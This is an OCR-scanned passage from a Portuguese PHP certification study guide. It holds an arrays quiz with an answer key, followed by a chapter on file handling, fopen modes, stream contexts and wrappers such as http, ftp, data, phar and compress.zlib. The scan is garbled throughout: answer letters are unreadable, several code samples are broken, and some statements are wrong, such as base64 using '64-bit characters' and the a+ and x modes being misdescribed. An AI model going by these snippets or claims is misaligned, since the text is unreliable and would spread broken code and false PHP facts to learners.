$array = array(0.1 => 'a', 0.2 => 'b');
echo count($array);

a) 1
b) 2
c) o
d) Nada
e) 0.3

4) Qual é a saida gerada pelo codigo a seguir?
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function sort_my_array($array)

{

return sort($array);

3

$al = array(3, 2, 1);
var_dump(sort_my_array(&$al));

a) NULL

b) @ =>1, 1=>2, 2=>3

c) Um erro de referéncia invalida
d) 2=>1, 1=>2, 0 => 3

e) bool(true)

5) Dado o cddigo seguinte, qual das fun¢des formam um array

associativo valido? Selecione no minimo duas.

$um = ['um', 'dois', 'trés'];
$dois = [1, 2, 3];

a) array_combina($um, $dois);
b) array_merge($um, $dois);
c) array_values($um, $dois);
d) array_flip($um);

6) Qual fungio é usada para saber se determinada chave de
um array existe?

7) Qual a saida do cddigo a seguir?
$array = ['um', 'dois', 'trés'];
echo $array[3];
a) trés
b) E_NOTICE

c) FATAL ERROR
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8) Qual fungao utilizamos para ordenar um array do maior
para o menor valor?

a) sort
b) rsort
c) array_walk

d) asort

9) Qual fungdo utilizamos para contar os elementos de um
array?

a) size

b) count

c) length
d) get_size

10) Qual fungdo utilizamos para diferenciar um array do
outro, independentemente das chaves do array?

5.9 PROCURE DIFERENTES FUNCOES PARA O
MESMO PROBLEMA

Como vocé notou neste capitulo, sdo inumeras fungdes com as
quais se familiarizar. Nao se preocupe, pois quero compartilhar uma
dica para que esta experiéncia se torne menos dolorida. Quando
estiver manipulando arrays através de lagos, pare e pense se no PHP
ja nao existe algum tipo de fun¢do que resolva o seu problema. Se
existir, use-a! Isso fara com que vocé descubra funcdes que
provavelmente vocé nem sabia que existiam no PHP.

A segunda dica é, mais uma vez, se atentar a documentagio
oficial do PHP, que contém tudo o que vocé precisa saber. Vocé
pode acessar a parte que fala apenas de arrays em
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http://php.net/manual/pt_BR/language.types.array.php. Além disso,
existe uma pagina com todas as fun¢des que manipulam arrays, e
vocé pode conferir em http://php.net/manual/pt_BR/ref.array.php.

Nao se prenda ao que mostramos a vocé neste capitulo. Sempre
tente ir além. Procure entender cada detalhe de cada fungao, pois os
detalhes no dia da prova fazem toda diferenca.

5.10 RESPOSTAS

Verifique agora se vocé foi bem nas questdes. Caso ndo, niao
fique chateado. Tente ler novamente o capitulo agora ou depois, e
boa sorte!

QUESTOES

Questao 1 - Resposta correta: 2

Questao 2 - Resposta correta: ¢

Questao 3 - Resposta correta: a

Questao 4 - Resposta correta: ¢

Questdo 5 - Resposta correta: ¢

Questio 6 - Resposta correta: array_key_exists
Questdo 7 - Resposta correta: b

Questio 8 - Resposta correta: b

Questdo 9 - Resposta correta: b

Questdo 10 - Resposta correta: array_diff
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CapiTULO 6

ARQUIVOS, STREAMS E
ENTRADA/SAIDA

7

A utilizagdo de arquivos é uma tarefa comum de qualquer
aplicagdo para escrever logs ou para salvar dados do usuario.
Podemos ler, escrever, mover e assim por diante. Neste capitulo,
vamos ver como o PHP se comporta ao interagir com arquivos e

diretérios do sistema operacional em que ele esta rodando.

Além dessa interacdo, vamos entender como funciona a
operacgdo de entrada e saida (I/O) com o PHP, e como podemos
utilizar streams para facilitar a nossa vida.

Streams sao topicos delicados com o PHP, pois até em sua
documentagdo oficial possuimos falhas e, até mesmo, falta de
documentag¢do. Mas teremos aqui todo o conteudo que a prova de
certificacdo da Zend exige.

6.1 MANTPULANDO ARQUIVOS

Como de costume, temos inimeras fungdes para manipular
arquivos em PHP, e a primeira coisa a se notar sdo os tipos de
fun¢do. Temos dois tipos de notacdo de fungdo: as que comegam
comaletra f,como fopen, fstat, fwrite ; e as que comegam
com file , como file_put_contents , file_get_contents

etc.
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Para a certificagdo, o que isso quer nos dizer é que as funcoes

que come¢am com a letra f trabalham com o tipo de dado

resource (um ponteiro para o arquivo original), e as fungdes que

usam file sdo as que trabalham com o caminho absoluto

arquivo.

do

pela

Essa diferenca entre fun¢des que manipulam arquivos foram
definidas pela Zend no seu guia de estudo para a certificagao.
Se vocé deseja dar uma olhada no guia de estudos fornecido
Zend, acesse
http://www.zend.com/en/services/certification/php-
certification-study-guide.

Vamos a um exemplo pratico para entender essa diferenca:

$file =

fopen('/foo/bar/meu_arquivo.txt', 'r');

Podemos ver que é simples utilizar a fun¢do fopen para

manipular um arquivo. Ao usarmos essa fun¢io, podemos passar

como segundo parametro em qual modo queremos manipular o

arquivo.

Modo

I+

w+

a+

Descri¢ao
Manipula o arquivo apenas em modo de leitura
Manipula o arquivo em modo de escrita

Manipula o arquivo em modo de leitura/escrita e coloca o ponteiro no comego
do arquivo

Manipula o arquivo em modo de escrita, zera o contetdo do arquivo, coloca o
ponteiro no comego do arquivo e, caso o arquivo nao exista, ele é criado

Manipula o arquivo somente em modo de escrita, coloca o ponteiro no final do
arquivo e, caso o arquivo ndo exista, ele é criado

Manipula o arquivo somente em modo de escrita, coloca o ponteiro no final do
arquivo e, caso o arquivo nao exista, ele é criado
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Manipula o arquivo para escrita, coloca o ponteiro no comego do arquivo e s6 é
escrito no arquivo caso ele nio exista

Manipula o arquivo apenas para leitura. Se o arquivo existir, é retornado
x+ false (gerandoum WARNING ) e nadaé feito no arquivo; caso
contrario, o PHP tenta criar o arquivo

Podemos utilizar cada item dessa tabela para manipular o
arquivo da maneira que quisermos. Isso é muito importante, pois na
prova de certificaio podemos nos deparar com algumas
pegadinhas. Uma delas é sobre o modo de escrita/leitura de um
arquivo. Veja o codigo a seguir e tente responder qual é o resultado.

$arquivo = fopen('file.txt', 'r');
fwrite($arquivo, 'Conteldo a ser inserido');
fclose($arquivo);

O que vocé acha que temos como resultado ao executar esse
codigo?

Se vocé pensou que a string Conteudo a ser inserido serd
escrita no arquivo, infelizmente vocé errou. Repare no modo com
que estamos manipulando o arquivo, r . Nesse modo, podemos
apenas ler o contetido do arquivo, e nio escrever.

Nesse exemplo, usamos a fungdo fwrite para escrever no
nosso arquivo que aceita como primeiro parametro um resource
(um ponteiro para o arquivo onde queremos escrever) e o contetido
a ser escrito. Além disso, podemos especificar qual o limite de bytes
que queremos que seja escrito no arquivo.
$meuArquivo = fopen('/foo/bar/arquivo.txt', 'w');

fwrite($meuArquivo, 'Esse é o conteldo da minha string', 4);
fclose($meuArquivo);

Dessa vez, como estamos especificando o maximo de caracteres
que queremos escrever no arquivo, a fungio fwrite vai escrever
apenas a palavra Esse , que representa os 4 bytes informados no
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terceiro parametro.

Se o terceiro parametro nao for informado, fwrite escrevera
no arquivo até o contetdo da string acabar.

Poderiamos também ter usado a fun¢do fputs , que é apenas
um apelido para a func¢do fwrite . Resumindo: se vocé
utilizar fputs , saiba que ela chamard a fungdo fwrite
internamente.

Agora que ja sabemos escrever, podemos também ler arquivos
utilizando a fun¢do fgets :

$meuArquivo = fopen('/foo/bar/meu_arquivo.txt', 'r');

while(feof($meuArquivo) !== true) {
print fgets($meuArquivo);

iclose($meuArquivo);

Ao contrario da fun¢do fwrite (que escreve em um arquivo),
usamos a fungdo fgets para ler o conteudo de um arquivo. Nesse
nosso exemplo, criamos um ponteiro para o0 arquivo

meu_arquivo.txt e atribuimos para a varidvel $meuArquivo .
Logo em seguida, usamos o loop while para ler todo o contetido
do arquivo enquanto o seu final ndo chegar (verificamos se
chegamos ao final do arquivo através da fun¢ao feof ).

Agora que ja sabemos o basico sobre leitura/escrita, vamos nos
aprofundar um pouco mais nos modos como o PHP manipula os
arquivos. Até agora, utilizamos os modos de manipulagio mais

basicos, que sioo r e w.O préximo que vamosveréo r+ .

r+
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A primeira coisa a que devemos nos atentar ao utilizar esse
modo é que ele nao serve apenas para leitura, como o r , ele
também serve para escrita. Porém, como descrito, ao utilizarmos

r+ , comegaremos a escrever no comeg¢o do arquivo. Vamos ver o
que isso significa na pratica. Para exemplificar, vou utilizar um
arquivo chamado arquivo.txt e o seu conteido é uma lista:
Matheus

Marabesi
PHP

Vamos, entdo, alterar nosso arquivo incluindo mais um item
nessa lista:

$arquivo = fopen('arquivo.txt', 'r+');
fwrite($arquivo, 'Meu novo item');

fclose($arquivo);

Vocé consegue adivinhar o que aconteceu com o conteudo do
nosso arquivo? Ao executarmos esse cddigo, o nosso arquivo ficara
com o seguinte conteudo:

Meu novo itemesi
PHP

Percebeu o que ocorreu? Com o ponteiro no comego do arquivo
indicado pelo fopen ,afungdo fwrite escreveu a nossa string no
comeco do arquivo e, como ela era maior do que a existente, um
pedago do Marabesi foi sobrescrito, ficando assim apenas o esi
no final da string. Tenha cuidado também ao utilizar esse modo,
pois, caso o arquivo desejado ndo exista, ele ndo sera criado e um
WARNING serd exibido:

PHP Warning: fopen(arquivo.txt): failed to open stream: No such f
ile or directory in /zce/files/fopen_r+.php on line 3

PHP Stack trace:

PHP 1. {main}() /zce/files/fopen_r+.php:0

PHP 2. fopen() /zce/files/fopen_r+.php:3
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Warning: fopen(arquivo.txt): failed to open stream: No such file o
r directory in /zce/files/fopen_r+.php on line 3

Call Stack:
0.0002 230128 1. {main}() /zce/files/fopen_r+.php:0
0.0002 230272 2. fopen() /zce/files/fopen_r+.php:3

Fique atento, pois vamos utilizar o contetido do arquivo.txt
para os exemplos seguintes sobre a manipulagao de arquivo.

W+

Utilizando o w+ , manipulamos o arquivo para leitura/escrita, e
o efeito é o mesmo do exemplo indicado anteriormente, ao usarmos

o r+.0u seja, vamos escrever no comeco do arquivo:
$arquivo = fopen('arquivo.txt', 'w+');
fwrite($arquivo, 'Meu novo item');

fclose($arquivo);

Levando em consideragdo a lista apresentada no exemplo
anterior, utilizando +r , tente interpretar o que vai acontecer com o

arquivo antes de seguir para a resposta.

Basicamente, o que vai acontecer é que o modo w+ zerara todo

o conteudo do arquivo caso ele exista, posicionara seu ponteiro no
seu comego e escrevera o novo conteudo, no nosso caso, a string
Meu novo item . Ou seja, temos como resultado em nosso

arquivo.txt o seguinte:
Meu novo item

Ao contrario do r+ , com o w+ , se 0 arquivo nao existir, ele
sera criado e nenhum WARNING serd exibido.
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aca+t

Em PHP, tanto o modo a e o modo a+ se comportam da
mesma maneira: ambos utilizam o arquivo apenas para escrever

7

(ndo é permitida a leitura) e o ponteiro é colocado no final do
arquivo, antes da escrita.

$arquivo = fopen('arquivo.txt', 'a');
fwrite($arquivo, 'Meu novo item');
fclose($arquivo);
Apos executar esse script, teremos o seguinte resultado:
Matheus

Marabesi
PHPMeu novo item

E assim como ocorre no modo w+ , nio recebemos nenhum

WARNING , pois, caso o arquivo nao exista, ele é criado.

XeXx+

Mais um vez, temos exatamente o mesmo comportamento em
ambos modos, tanto no x como no x+ . Por meio desses modos,
conseguimos ter um controle maior ao ler um arquivo caso ele ja
exista, pois um WARNING ¢ lancado se o arquivo existir.

De acordo com os exemplos anteriores, 0 nosso arquivo.txt
ja existe, entdo vamos usar o modo x para ver o resultado que
obtemos:

$arquivo = fopen('arquivo.txt', 'x'");
fwrite($arquivo, 'Meu novo item');
fclose($arquivo);

Ao executarmos o script, temos o seguinte resultado:
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PHP Warning: fopen(arquivo.txt): failed to open stream: File exis
ts in /zce/files/arquivo.php on line 3

PHP Stack trace:

PHP 1. {main}() /zce/files/fopen_x.php:0

PHP 2. fopen() /zce/files/fopen_x.php:3

wWarning: fopen(arquivo.txt): failed to open stream: File exists in
/zce/files/fopen_x.php on line 3

Call Stack:
0.0001 230128 1. {main}() /zce/files/fopen_x.php:0
0.0001 230272 2. fopen() /zce/files/fopen_x.php:3

Se o arquivo arquivo.txt nao existir, ao executar esse script,
o PHP vai crid-lo e escrever nele "Meu novo item" . Lembre-se de
que tanto o modo x como O x+ possuem O mesmo

comportamento.

Se vocé estiver procurando mais informagdes sobre os modos
de manipula¢iao de arquivos no PHP, veja a documentagio
oficial em http://php.net/manual/pt_BR/function.fopen.php.

fclose

Ja parou para pensar o que vai acontecer caso eu esquecer de
fechar o meu resource? Como vimos, utilizamos muito as fungdes
da familia f\* e, para tal, precisamos obrigatoriamente abrir um
ponteiro através da fungdo fopen . Com isso, obtemos o nosso
resource para manipularmos o arquivo. Apds isso, devemos fechar o
resource através da fungdo fclose , para ndo deixar o nosso
resource aberto.

Mas e o que acontece quando esquecemos de fechar o resouce?
Veja o nosso exemplo a seguir, que abre o nosso arquivo em modo
leitura, mas em momento algum utiliza a fungdo fclose para
fechar o ponteiro:
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fopen('meu_arquivo.txt', 'w');

Se vocé executou esse script, reparard que nenhum erro ocorre
e o script PHP ¢ finalizado normalmente.

Basicamente, ao terminar a execuc¢io do script, o PHP vai fecha-
lo automaticamente. Porém, é uma boa pratica e bastante
recomendado que feche manualmente apos a abertura do arquivo
para evitar problemas, como por exemplo, o PHP ter sua execugdo
interrompida de uma maneira inesperada, como o lancamento de
uma excecao.
try {

$arquivo = fopen('livro.txt', 'r+');

} catch (\Exception $erro) {
print $erro->getMessage();

Imagine que abrimos esse arquivo para atualizar o conteudo do
livro.txt com os dados que o usudrio deseja ao recebermos uma
requisicdo POST no nosso servidor.
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Figura 6.1: Fluxo de manipula¢do do arquivo livro.txt

Veja que, no fluxo, se ocorrer uma excegao (bloco catch no

nosso exemplo), o ponteiro ainda esta aberto e é possivel realizar
alguma modificagao indesejada no arquivo.

try {
$arquivo = fopen('livro.txt', 'r+');
} catch (\Exception $erro) {
fwrite($arquivo, 'Ponteiro ainda esta disponivel');

}

Vocé pode encontrar algumas contribuicdes de usudrios na
documentacao oficial, em

http://php.net/manual/pt_BR/function.fclose.php.
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6.2 FILE_*

O file_put_contents ¢ uma alternativa para a manipulagdo
do arquivo, mas, diferentemente do fopen , utilizamos apenas dois
pardmetros: um com o local do arquivo, e outro com o contetdo a
ser escrito. Uma vantagem de fung¢des que ndo utilizam resources é
que ndo ¢é necessario fecha-las apds seu uso com a fungdo fclose .
Repare no exemplo em que usamos fopen e compare a utilizagdo
das duas funcoes.

Vamos dar como exemplo aqui: um arquivo de texto com o
conteudo a seguir, chamado meu_arquivo.txt :

Conteldo do meu arquivo utilizando file_get_contents
E agora vamos exibi-lo no nosso arquivo PHP:
$conteudo = file_get_contents('/foo/bar/meu_arquivo.txt');

print $conteudo;

6.3 STREAMS

Em computagdo, streams sao definidos como "um fluxo
continuo de dados" e, em PHP, foram adicionados a partir da versao
4.3.0 para padronizar a manipulacido de arquivos, sockets, protocolo
HTTP, entre outros. Com streams, temos uma série de facilidades
para manipular qualquer tipo de fonte para leitura/escrita
atualmente, e caso a sua necessidade ndo seja satisfeita, vocé pode
criar seu proprio stream. A Amazon, por exemplo, possui um
proprio para os servigos do S3 (https://aws.amazon.com/pt/s3/).

A primeira coisa a se notar ao utilizar streams em PHP é a sua
sintaxe. Muitos programadores provavelmente ja usam streams para
consumir uma API (Application Program Interface) de uma rede
social, para ler um arquivo, ou até mesmo para criar um robd que
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consome dados de um web site.

Como vamos ver ao decorrer desta se¢do, podemos utilizar
fungoes como fopen, fgets, fputs e fclose ,com uma série
de wrappers, e ndo s6 apenas para manipulagdo de arquivos, como
estamos acostumados a ver.

http://api.casadocodigo.com.br

Por incrivel que parega, essa € a sintaxe utilizada. Primeiro
especificamos o wrapper (schema) que queremos e, em seguida, o
nosso alvo (farget). Nesse exemplo, estamos usando o wrapper
HTTP para consumir uma API ficticia da Casa do Cddigo,
resumindo utilizamos a sintaxe wrapper://alvo

Vocé pode se referenciar aos wrappers como protocolos se
preferir, mas ndo se esquega de que na prova a palavra WRAPPER
é a correta a se usar.

A tabela seguinte nos mostra quais os tipos de wrappers sdo
suportados nativamente pelo PHP.

Protocolo Descrigio

file:// Utilizado para manipular um arquivo local

http:// Utilizado para manipular contetido do protocolo HTTP
ftp:// Utilizado para manipular arquivos em um FTP

Utilizado para manipular entrada/saida (I/0). Por esse wrapper, podemos
php:// resgatar informagdes das globais $_POST , $_GET , ou até mesmo
escrever na saida padrio do PHP

b/ Utilizado para manipular arquivos comprimidos, como arquivos com as
1 extensdes .QZ , .bz2 ou .zip
Utilizado para manipular contetdo explicito, como strings ou strings

data:// encodadas em base64
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glob:// Utilizado para buscar caminhos de diretérios dado um padrao
phar// Utilizado para manipular arquivos . phar

rar:// Utilizado para manipular arquivos com a extensio .rar

Uma curiosidade sobre a manipulagdo de arquivos com stream
é que, se nenhum wrapper for especificado, o PHP vai usar o
padrio file:// implicitamente.

6.4 ADICIONANDO CONTEXTO

Uma parte bem interessante ao se utilizar streams sio os
contextos que podemos criar para manipuld-los. Contexto é o que
da vida ao nosso stream, o que nos permite "decorar” o nosso stream
da maneira que desejarmos. Podemos, por exemplo, criar um
stream para acessar um servidor FTP, mas, para isso, preciso me
autenticar. A autenticagio ¢ a parte em que decoramos nosso stream
com o usuario e senha necessarios, ou seja, acabamos criando um
contexto de autenticagao.

Utilizamos a fungdo stream_context_create passando dois
arrays (opcionais) como argumentos para criar um contexto em
PHP para aplicar a uma stream.

$opcoes = [];
$parametros = [];

$contexto = stream_context_create($opcoes, $parametros);

O primeiro array deve possuir um array associativo com o
wrapper que desejamos usar. Vamos supor que criaremos um
contexto para utilizar com FTP:

$opcoes = [
"ftp' = [
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'proxy' => 'http://proxy:3128'
1
$context = stream_context_create($opcoes);

E para usar nosso stream, podemos utilizar qualquer fun¢ao do
PHP que aceite um stream como parametro ( file_get_contents,
file e fopen sdo algumas dessas fungdes):

print file_get_contents('ftp://meu.servidor.ftp.com.br', false, $c
ontext);

6.5 UTILIZANDO STREAMS

A maneira mais simples de se usar um stream ¢ manipulando
um arquivo qualquer. Vamos supor que eu tenha um arquivo
chamado casa_do_codigo.txt , com o conteutdo UTILIZANDO
STREAMS :

print file_get_contents('casa_do_codigo.txt');

Como vimos, podemos especificar ou ndo um wrapper para ser
utilizado e, caso ndo seja especificado, o PHP vai usar o file://
automaticamente. Assim, ao executar o script anterior, teremos
como resultado a saida UTILIZANDO STREAMS .

print file_get_contents('file://casa_do_codigo.txt');

Agora, com esse exemplo, obtemos o mesmo resultado, porém
estamos utilizando explicitamente o wrapper file:// .

http://

Creio que hoje o wrapper http ¢ um dos mais usados em
aplicagdes. Sim, ele ¢ um wrapper.

$site = file_get_contents('http://marabesi.com');

Provavelmente, vocé ja deve ter feito algo parecido para retornar
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a data de uma API, ou simplesmente pegar o conteido de um site
como o descrito com a extensio curl
(http://php.net/manual/en/book.curl.php). Por incrivel que parega,
estamos utilizando um stream e, internamente, o PHP gerencia isso
tudo para nds.

Por padrao, ao usarmos http:// , o método utilizado para a
requisicdo é o GET . Entretanto, podemos criar um contexto para
que seja possivel usar outros verbos HTTP, como POST , PUT ou

DELETE .

$contexto = stream_context_create(
"http' => [
'method' => 'POST'
'header' => 'Content-Type: application/x-www-form-urlencod
ed',
'content' => 'livro=php'

);

print file_get_contents('http://marabesi.com', false, $contexto);

Para maiores informagdes sobre os verbos HTTP, vocé pode
consultar a documentagdo oficial do W3C, em
http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html.

ftp://

No ambiente de desenvolvimento moderno, raramente tocamos
em arquivos FTP. Em vez disso, utilizamos controle de versao, o que
nos fornece inumeras vantagens. Porém, existem muitos servidores
de hospedagem que fornecem apenas um acesso FTP para que os
arquivos sejam enviados e disponibilizados na web. Felizmente, o
PHP possui um wrapper especifico para isso, no qual podemos ler e

criar arquivos livremente.
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A primeira coisa que vamos fazer é ler o conteddo de um
arquivo chamado index.php :

$fp = fopen('ftp://usuario:senha@meu_servidor.com/home/matheusmara
besi/index.php', 'r');

print fgets($fp);

Uma coisa ficou clara: é muito facil ler o conteudo do arquivo
em um FTP, basta as informagdes corretas e pronto! Porém, como
vocé deve ter reparado, a string que utilizamos para realizar a
conexao e ler o arquivo desejado ficou um pouco complexa, vamos
entdo por partes.

Para acessar um arquivo sem autentica¢cdo nenhuma no servidor
FTP, é muito simples, basta informar o host do FTP e o local do
arquivo:

$ftp = fopen('ftp://meu_servidor.com/var/www/arquivo.txt');

Veja que temos duas partes distintas na string. A primeira é o
host meu_servidor.com e, logo em seguida, o caminho completo
de onde o arquivo se encontra, /var/www/arquivo.txt . Mas a
realidade ¢ que os servidores FTP possuem autenticagdo onde ¢é
necessario informar o usudrio e a senha. Para isso, vamos alterar
nossa string com esses dados:

$ftp = fopen('ftp://usuario:senha@meu_servidor.com/var/www/arquivo
Ltxt');

Repare que agora a primeira coisa que vemos na nossa string ¢ o
usudrio e a senha separados por dois pontos ( usuario:senha ).
Logo apds isso usamos um sinal de @ para informar o nosso
servidor e o local onde estd o arquivo que desejamos.
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ftp:/fusuario:senha@meu_servidor.com/var/www/arquivo.txt
L IL 1 L IL 1

Wrapper

Usudrio e senha

Servidor (host)

Caminho completo
do arquivo

Figura 6.2: Estrutura do wrapper FTP

php://

Pelo wrapper php:// , podemos manipular a entrada e saida de
diferentes formas que podem ser utilizadas tanto em aplicacoes
desenvolvidas para a web (que sdo acessadas via navegador) quanto
para aplicagdes que usam a linha de comando.

Possuimos algumas variaveis globais, como $_POST e $_GET,
que usamos para acessar os dados que o usudrio nos enviou. Porém,
com alguns outros métodos, precisamos tratar diretamente com a
saida/entrada padrdo, como por exemplo, o método PUT que é
utilizado para realizar atualizacbes em registros quando se
implementa uma arquitetura REST:

$put = fopen('php://input', 'r');
print fgets($put);

Com apenas duas linhas, conseguimos ler qualquer tipo de
entrada enviada ao nosso script. Veja que usamos a fun¢ao fopen
em conjunto com fgets , mas podemos utilizar

file_get_contests , como mostramos no exemplo a seguir:
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print file_get_contents('php://input');

compress.zlib

Vamos supor que vocé ndo vai ler um arquivo simples do
sistema operacional, mas agora terd de manipular um arquivo
comprimido na extensido tar.gz . Com streams em PHP, isso se
torna muito facil. Veja o nosso exemplo:

$arquivoComprimido = fopen('compress.zlib://arquivo.tar.gz', 'r');

while(feof($arquivoComprimido) !== true) {
print fgets($compressedFile);

Como de costume, a primeira coisa que vamos fazer é utilizar a
funcdo fopen em conjunto com o wrapper compress.zlib para
criarmos um resource. Apos isso, apenas usamos o loop while
para exibir todo o contetido do arquivo comprimido pela fun¢ao
fgets .

Apenas um item a se levar em consideragdo sobre o codigo
anterior é o uso do wrapper zlib . Repare que esse wrapper nao
utiliza apenas o seu nome, devemos utilizar compress.zlib , e o
mesmo se aplica para arquivos comprimidos com bzip2 . Ao
executar o codigo anterior, temos a seguinte saida:
arquivo. txt@eE0777000000000000000000000002112573322761011244 Ousta

r rootrootmatheus
marabesi

Vamos imaginar agora que, em vez de ler os arquivos existentes
em um arquivo comprimido, vamos adicionar um arquivo e
comprimi-lo. Mais uma vez, o PHP torna nossa vida muito simples:
file_put_contents('compress.zlib:///var/www/arquivo.txt.gz', 'Vou
ser comprimido!');

Apds a declaragao do wrapper, indicamos o caminho completo
de onde o arquivo deve ser armazenado apds a compressiao. No
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nosso exemplo, salvamos o arquivo arquivo.txt.gz no diretdrio
/var/www/ .

data://

O wrapper data:// ¢ usado quando precisamos incluir um
conteudo explicito na nossa aplicagao como um simples texto. Além
disso, nos facilita ao utilizarmos conteudo encodado em base64.
Vamos a um exemplo simples primeiro, em que queremos exibir o
texto Utilizando o wrapper data://:

print file_get_contents('data://text/plain, Utilizando o wrapper d
ata://");

A base64 é uma maneira de encodarmos os dados para
transferi-los na internet. Ela geralmente ¢ usada para
transformar bindrios (por exemplo, imagens) para ser possivel
sua transmissdo onde apenas texto é possivel (como protocolo
HTTP, por exemplo). O 64 de seu nome existe pois ¢ utilizado
apenas caracteres de 64 bits para transformar os dados.

Dé uma olhada na documentagéo oficial do base64 que o PHP
implementa, em https://tools.ietf.org/html/rfc989.

Até agora, nenhuma surpresa. Isso parece mais complicado do
que simplesmente concatenar a string, certo? Porém, esse wrapper
fica bastante interessante quando utilizarmos conteudo encodado
em base64. Vamos supor que vou exibir um conteudo enviado pelo
usuario, mas esse conteido é enviado em base64. Normalmente,
com PHP, farfamos da seguinte forma:

$dadosEnviadoPeloUsuario = 'VXRpbGl6YW5kbyBzdHJ1YW1zIGVtIFBIUCAh';

print base64_decode($dadosEnviadoPeloUsuario);
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Muito simples! Usamos a fun¢do base64_decode para fazer o
trabalho por nds. Porém, com o wrapper data:// , isso se torna
muito mais simples, veja:

print file_get_contents('data://text/plain;base64,VXRpbGl6YW5kbyBz
dHJ1YW1zIGVtIFBIUCAh');

Para maiores informagdes sobre o wrapper ://data , veja a
documentagdo completa que o PHP implementa em
http://www.fags.org/rfcs/rfc2397.html.

glob://

Temos um wrapper especifico para encontrar arquivos de um
determinado padrao. Para isso, usamos glob:// .

Mas, em PHP, podemos utilizar SPL (Standard PHP Library)
para encontrar arquivos. Veja o nosso exemplo a seguir, no qual
utilizamos a SPL sem usar nenhum wrapper para encontrar
arquivos do tipo PHP:
$diretorio = new \RecursiveDirectoryIterator('/var/www');
$iterator = new \RecursiveIteratorIterator($diretorio);

$arquivos = new \RegexIterator($iterator, '/A.+\.php/', \Recursive
RegexIterator::GET_MATCH);

foreach ($arquivos->getInnerIterator() as $arquivo) {

print $arquivo->getFileName();
3

Porém, como vocé pode reparar, temos de escrever algumas
linhas. Felizmente, podemos ter o mesmo resultado escrevendo bem
menos cédigo por meio do wrapper glob:// .

$diretorio = new \RecursiveDirectoryIterator('glob://var/www/*.php

)

foreach ($diretorio as $arquivos) {
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print $arquivos->getFilename();

Obtemos o mesmo resultado ao utilizarmos streams. E claro
que, no final das contas, quem decide qual utilizar é vocé. Para cada
situacdo, podemos usar uma das duas abordagens exibidas aqui.
Nao se preocupe muito sobre qual abordagem ¢ melhor do que a
outra, foque apenas em entender que, com glob:// , podemos
encontrar determinados arquivos/caminhos baseado em um padrao.

Vocé pode conferir o manual oficial sobre o wrapper glob://
em http://php.net/manual/pt_BR/wrappers.glob.php.

phar://

Atualmente, a extensdo .phar para bibliotecas PHP sdo muito
utilizadas. Bibliotecas como o PHPUnit (http://phpunit.de), Behat
(http://docs.behat.org/en/v2.5/), Composer
(https://getcomposer.org/), entre inimeras outras, utilizam essa
extensao para distribuir as suas funcionalidades.

Os arquivos .phar surgiram com o conceito similar a arquivos
.jar em Java. Ou seja, um arquivo .phar ¢ usado para distribuir
uma aplicagio completa em PHP, tornando assim facil sua
utilizacdo e nao havendo a necessidade de nenhuma configuragao
extra. E necessdrio simplesmente executar o arquivo .phar pelo
PHP.

php phpunit.phar

Ao executar esse comando no seu terminal, sera exibida uma
lista com todos os argumentos possiveis para se utilizar com o
PHPUnit. Como a lista é grande, nao é possivel coloca-la aqui. Mas,
tente vocé mesmo: faca o download do PHPUnit através do link
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https://phar.phpunit.de/phpunit.phar, e execute-o.

Nosso préximo passo € criar o nosso proprio arquivo .phar .

Para isso, precisamos primeiramente verificar algumas

configuracdes. Verifique seu php.ini  para que ele esteja

propriamente configurado para permitir a criagdo de arquivos. A
diretiva phar.readonly deve possuir o valor Off .

Brharll
; http://php.net/phar. readonly
phar.readonly = Off

; http://php.net/phar.require-hash
iphar.require hash = On

;phar.cache list =

Figura 6.3: Diretiva phar.readonly devidamente configurada

Vamos, entdo, criar o nosso arquivo.phar para entendermos
como o PHP empacota tudo dentro de um tnico arquivo. Veja a
seguir a estrutura que vamos utilizar:

=

@ funcoes.php
@ index.php

‘@ mascaras.php

Figura 6.4: Estrutura de arquivos utilizados para criar o nosso arquivo phar
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O PHP basicamente pega toda essa nossa estrutura e compacta
dentro do arquivo.phar . Para isso acontecer, precisamos utilizar
a classe \Phar :

$phar = new \Phar('arquivo.phar');
$phar->startBuffering();
$phar->buildFromDirectory('./src', '$(.*)\.php$');
$phar->stopBuffering();

echo 'Arquivo salvo com sucesso';

Repare que damos o nome do arquivo que serd gerado no
construtor da classe \Phar . Outro detalhe importante é no método
buildFromDirectory , onde definimos o que vai dentro do nosso
arquivo .phar . No nosso caso, estamos adicionando todos os
arquivos com a extensdo .php e, no final da execu¢do do script,
temos o nosso arquivo.phar gerado com os arquivos PHP dentro
dele.

Para termos certeza de que tudo foi gerado com sucesso,
usaremos o wrapper phar:// para ver se todos os arquivos que
esperamos estdo de fato dentro do arquivo.phar .

print file_get_contents('phar://arquivo.phar/index.php');

O primeiro que vamos verificar é o arquivo index.php . Se o
arquivo.phar foi gerado corretamente, ao executarmos o script
anterior, o conteudo do arquivo index.php serd exibido, e o
mesmo ocorrera para os outros arquivos que adicionamos.

print file_get_contents('phar://arquivo.phar/funcoes.php');
print file_get_contents('phar://arquivo.phar/mascaras.php');

Verificar um por um dd um baita trabalho, ndo é mesmo?
Imagine se fossem 10 arquivos? Pensando nisso, podemos utilizar
alguns recursos do proprio PHP que usamos antes para listar todos
os arquivos dentro do nosso arquivo.phar :
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$phar = new \RecursiveTreeIterator(
new RecursiveDirectoryIterator('phar://arquivo.phar')

)

foreach ($phar as $arquivos) {
print $iterator->current();

}

Com esse script, temos a listagem de todos os arquivos
existentes no nosso arquivo.phar , e conseguimos verificar se ele
foi gerado corretamente:

| -phar://arquivo.phar/funcoes.php
| -phar://arquivo.phar/mascara.php
\-phar://arquivo.phar/index.php

A utiliza¢ao dos arquivos .phar ¢é muito conhecida entre os
desenvolvedores PHP, e acabou se tornando um padrao.
Recomendo que dé uma olhada na documentagio oficial para
se aprofundar ainda mais no seu uso, em

http://php.net/manual/en/book.phar.php.

rar://

Para utilizarmos rar:// , devemos nos atentar as suas
peculiaridades. Para manipularmos arquivos do tipo .rar ,
precisamos instalar a extensdo responsavel por manipuld-los. Caso
nao faga isso, vocé vera a seguinte mensagem:

PHP Warning: file_get_contents(): Unable to find the wrapper "rar
" - did you forget to enable it when you configured PHP? in /zce/s
treams/rar.php on line 5

PHP Stack trace:

PHP 1. {main}() /zce/streams/rar.php:0
PHP 2. file_get_contents() /zce/streams/rar.php:5

O que essa mensagem nos diz ¢ que o PHP nao conseguiu
encontrar o wrapper que desejamos utilizar ( Unable to find the
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wrapper "rar" ) e ainda nos dd uma dica, perguntando se nao
esquecemos de habilitar essa extensao na configuracdo do PHP
( did you forget to enable it when you configured PHP? ).

Por isso, se essa mensagem for exibida, verifique se vocé possui
essa extensdo configurada corretamente no seu php.ini , ja que
